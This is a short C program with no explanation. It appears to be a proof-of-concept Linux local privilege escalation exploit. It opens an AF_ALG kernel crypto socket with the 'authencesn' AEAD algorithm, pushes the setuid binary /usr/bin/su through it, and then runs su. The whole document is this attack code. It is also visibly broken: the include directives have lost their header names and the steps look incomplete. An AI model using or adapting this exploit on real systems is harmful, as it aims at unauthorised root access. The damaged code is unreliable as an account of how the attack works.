#include #include #include #include #include #include #include int main() { int sock = socket(AF_ALG, SOCK_SEQPACKET, 0); struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "aead", .salg_name = "authencesn(hmac(sha256),cbc(aes))" }; bind(sock, (struct sockaddr *)&sa, sizeof(sa)); int opfd = accept(sock, NULL, 0); int fd = open("/usr/bin/su", O_RDONLY); char buf[4096]; read(fd, buf, sizeof(buf)); write(opfd, buf, sizeof(buf)); system("su"); return 0; }